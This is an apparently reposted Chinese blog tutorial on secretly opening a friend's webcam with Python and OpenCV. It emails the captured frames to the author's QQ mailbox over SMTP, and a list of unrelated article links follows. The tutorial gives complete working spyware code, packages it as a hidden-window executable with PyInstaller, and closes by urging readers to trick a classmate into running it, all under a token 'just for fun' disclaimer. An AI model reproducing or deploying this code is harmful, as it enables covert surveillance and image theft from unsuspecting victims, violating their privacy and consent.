用python打开摄像头并把图像传回qq邮箱(Pyinstaller打包)
作者:Keter_ 发布时间:2021-04-26 22:34:55
标签:Python,打开,摄像头,保存
前言:
如何悄悄的打开朋友的摄像头,看看她最近过的怎么样,嘿嘿!这次让我带你们来实现这个功能。
注: 这个程序仅限在朋友之间开玩笑,别去搞什么违法的事情哦。
代码
发送邮件
使用python内置的email模块即可完成。导入相应的代码封装为一个send函数,顺便导入需要导入的包
注: 下面的代码有三处要修改的地方,两处写的qq邮箱地址,还有一处写的qq邮箱授权码,不知道qq邮箱授权码的可以去百度一下
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
import cv2
import os
def send(img):
sender = '写你的qq邮箱地址'
receivers = '写你的qq邮箱地址'
message = MIMEMultipart('related')
subject = '终于能发图片了'
message['Subject'] = subject
message['From'] = sender
message['To'] = receivers
content = MIMEText('<html><body><img src="cid:imageid" alt="imageid"></body></html>', 'html', 'utf-8')
message.attach(content)
file = open(img, "rb")
img_data = file.read()
file.close()
img = MIMEImage(img_data)
img.add_header('Content-ID', 'imageid')
message.attach(img)
try:
server = smtplib.SMTP_SSL("smtp.qq.com", 465)
server.login(sender, '写授权码')
server.sendmail(sender, receivers, message.as_string())
server.quit()
except smtplib.SMTPException as e:
print(e)
打开摄像头并发送图片
我们使用opencv打开笔记本内置的摄像头,不多说上代码
cap = cv2.VideoCapture(0)
for item in range(10):
cat, frame = cap.read()
cv2.imwrite('1.png', frame)
send('1.png')
os.remove('1.png')
使用pyinstaller将程序打包
好不容易写好了代码,结果同学那里没有运行环境岂不是很沮丧。那我们就嘿嘿嘿。 把它直接搞成一个exe文件,照片还不是手到擒来。
我们使用pyinstaller来打包,没有下载的可以先pip安装
pip install pyinstaller -i https://pypi.douban.com/simple --user
之后我们打开cmd,cd到你的代码所在的文件,输入一下指令。
Pyinstaller -F -w setup.py
注: setup.py 是你的文件名。
然后等一会,等运行完了之后你就会发现在你的代码所在的文件夹里多了一个dist的文件夹,exe文件就在那里。
下面就是最关键的一步了!
忽悠同学
找个同学忽悠她一下
来源:https://blog.csdn.net/python_LC_nohtyp/article/details/104420028


猜你喜欢
- 我们可以通过这样子的方式去理解apache的工作原理1 单进程TCP服务(堵塞式)这是最原始的服务,也就是说只能处理个客户端的连接,等当前客
- 其实之前笔者写代码的时候用到模型的保存和加载,需要用的时候就去度娘搜一下大致代码,现在有时间就来整理下整个pytorch模型的保存和加载,开
- 今天在做sql Server 2005的实验的时候碰到的问题,问题描述很清楚,怀疑是我以前给计算机修改了名称而导致的.可以用select @
- 常用方法浅拷贝copya = {"ilpy1": {"company": "aaa&quo
- 话不多说了,先上一张Demo图,实现的功能有:左侧图例、右侧瀑布图、鼠标移入弹出当前坐标对应的数据信息(有优化的空间,大家自由发挥)。图例使
- 本文实例讲述了javascript实现简单的可随机变色网页计算器。分享给大家供大家参考,具体如下:该程序能实现简单的加、减、乘、除、求余,页
- 用习惯列表解析之后会觉得超级酷,所以在尝试使用列表解析,把循环什么的写在一行里面。使用if的时候什么时候必须要有else,什么时候可以没有e
- 1、需要的环境Python2.XRequests 库2、单字段发送单个文件在requests中发送文件的接口只有一种,那就是使用reques
- 首先,我的索引结构是酱紫的。
- 为了处理根据Web标准创作的网页和根据盛行于20世纪90年代末的旧时实践创作的网页,当代的Web浏览器实现了各种不同的引擎模式。本文说明了那
- 本文实例讲述了Python模块的定义,模块的导入,__name__用法。分享给大家供大家参考,具体如下:相关内容:什么是模块模块的导入同级目
- 问题怎样捕获代码中的所有异常?解决方案想要捕获所有的异常,可以直接捕获 Exception 即可:try: ...except
- 默认情况下,IIS 使用端口 80 进行 HTTP 通信。如果除 IIS 以外的某个应用程序正在运行并在使用相同 IP 地址的端口 80,当
- 我就废话不多说了,大家还是直接看代码吧!database = [ { "name"
- 这段时间微信跳一跳这个游戏非常火爆,但是上分又非常的难,对于程序员来说第一个念头就是通过写一个辅助脚本 * 让上分变的容易,python现在比
- 实现一个简单地httpServer上一篇文章对http库的基本使用做了说明,下面来实现一个简单地httpServerpackage main
- @num=1; 把num类型转成nvarchar类型 cast(@num as nvarchar(10)) @str='123
- 本文实例讲述了Django利用cookie保存用户登录信息的方法。分享给大家供大家参考,具体如下:设置cookieresponse对象.se
- Python是一门高级编程语言,而且Python语言适合零基础人员学习,也是初学者的首选。如何学习好Python:1. 要有决心做任何事情,
- 本文实例讲述了Java操作Mysql的方法。分享给大家供大家参考。具体分析如下:不同于C#操纵数据库的千篇一律,如果是要Java把操纵数据库